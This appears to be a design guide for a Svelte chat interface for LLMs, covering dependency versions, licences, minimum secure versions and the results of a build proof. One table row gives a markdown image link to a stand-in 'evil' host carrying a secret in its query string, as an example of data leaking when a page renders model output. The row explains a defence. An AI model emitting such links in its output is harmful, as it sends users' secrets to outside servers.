Everything here was re-derived from upstream registries, OSV, licences and a built proof on 2026-09-04; version numbers are dated observations, not live facts. The deployed app uses a deliberately small subset of this stack; see Wired versus evaluated.

Traps that cost a week

TrapRealityDo instead
Fork Open WebUINot OSI-open: de-branding banned above 50 users/30 days, CLA, 280 PyPI advisoriesFork huggingface/chat-ui (Apache-2.0) or build your own
npm i vite@7ERESOLVE: the Svelte plugin needs vite ^8Pin vite@^8
sveltekit from @sveltejs/vite-plugin-svelteExport removedImport from @sveltejs/kit/vite
import DOMPurify from 'dompurify'SSR 500isomorphic-dompurify
{@html marked(msg)} per tokenQuadratic; kills selection, scroll and code stateBlock-split with stable keys
DOMPurify stops data leaks![](https://evil/?d=SECRET) leaks on image loadCSP img-src 'self' data: blob:
Piper is MITArchived 2025-08-26; piper-tts is GPL-3.0-or-laterKokoro (Apache-2.0 code and weights)

Verified stack (2026-09-04)

LayerPickVersionLicence
Frameworksvelte5.57.0MIT
Meta@sveltejs/kit2.70.3MIT
Buildvite + @sveltejs/vite-plugin-svelte8.x / 7.3.0MIT
Markdownmarked18.0.11MIT
Sanitiseisomorphic-dompurify3.19.0MPL / Apache
AI logic@tanstack/ai-svelte or @ai-sdk/svelte0.21.0 / 5.0.92MIT / Apache-2.0
Virtual listvirtua0.51.0MIT
Highlighthighlight.js / shiki11.12.0 / 4.4.3BSD-3 / MIT
Mathkatex0.18.5MIT
TTS in browserkokoro-js1.2.1Apache-2.0
STT serverspeachespushed 2026-09-04MIT
VAD@ricky0123/vad-web0.0.30ISC

Only the first five layers are in the deployed app.

Security floor

ComponentMinimumReason
svelteβ‰₯ 5.55.72026 SSR-XSS set
@sveltejs/kitβ‰₯ 2.70.2Accept ReDoS; 2.70.0 fixed CSRF off outside production
mermaidβ‰₯ 11.16.1five advisories 2026-08-06
dompurifyβ‰₯ 3.4.13avoid IN_PLACE and setConfig() entirely
pdfjs-distβ‰₯ 6.2.108arbitrary JS from a malicious PDF
ollamanever internet-exposedcritical missing-auth advisory with no listed fix

Voice licensing: code is not weights

EngineCodeWeightsVerdict
Kokoro-82MApache-2.0Apache-2.0default
Whisper / MoonshineMITMITfine
ChatterboxMITMITfine
Piper (piper1-gpl)GPL-3.0+per voiceseparate service only
F5-TTSMITCC-BY-NC-4.0non-commercial
Coqui / XTTS-v2MPL-2.0CPMLdead and non-commercial

What the proof showed

  • The stack installs and builds together; a real browser turn produced three closed blocks, rendered bold and code, and zero console errors.
  • Character-by-character replay of seven document shapes (tilde fences, nested longer fences, unterminated fences, trailing newlines) produced zero closed-block identity churn.
  • 590-character, 12-section document: 59 keyed block renders versus 7,350 naive renders (124.6Γ—). The ratio is length-dependent (88Γ— at 410 characters) and counts renders, not milliseconds.

What the proof did not show

  • No LLM integration and no SSE endpoint: its /api/chat was a local timed emitter. The deployed app replaces it with real rooms and an optional upstream; see Backend boundary.
  • No timings, no framework benchmark, no runtime test of @lostgradient/chat components.
  • The proof’s send path lacked HTTP checks, cancellation and cleanup; these were proof limitations, not patterns to copy.

Pick-one decision

You wantChoose
Ship a product todayOpen WebUI, accepting the branding lock under 50 users
Clean fork, best codehuggingface/chat-ui
Fastest own-UI result@lostgradient/chat (pre-1.0)
Max control@tanstack/ai-svelte plus own components
Max stability@ai-sdk/svelte plus own components

Svelte Chat took the last shape in spirit: own components, the proof’s render path, and no SDK at all until an upstream exists. Build steps are in Setup.